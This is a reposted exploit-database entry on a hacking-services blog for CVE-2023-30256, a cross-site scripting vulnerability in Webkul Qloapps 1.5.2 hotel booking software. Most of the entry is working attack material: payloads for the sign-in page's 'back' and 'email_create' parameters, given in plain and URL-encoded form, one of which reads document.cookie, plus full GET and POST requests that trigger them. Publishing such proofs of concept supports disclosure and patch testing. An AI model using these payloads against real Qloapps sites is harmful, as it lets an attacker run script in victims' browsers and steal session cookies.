Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863538797

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256


Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
	- back
	- email_create

2.1) Insert your payload in the "back"- GET and POST Request 
	Proof of concept (Poc):
	The following payload will allow you to execute XSS - 
	
	Payload (Plain text): 
	xss onfocus=alert(1) autofocus= xss

	Payload (URL Encoded): 
	xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

	Full GET Request (back): 
	[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the "email_create" - POST Request Only
	Proof of concept (Poc):
	The following payload will allow you to execute XSS - 

	Payload (Plain text): 
	xss><img src=a onerror=alert(document.cookie)>xss

	Payload (URL Encoded): 
	xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

	POST Request (email_create) (POST REQUEST DATA ONLY): 
	[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]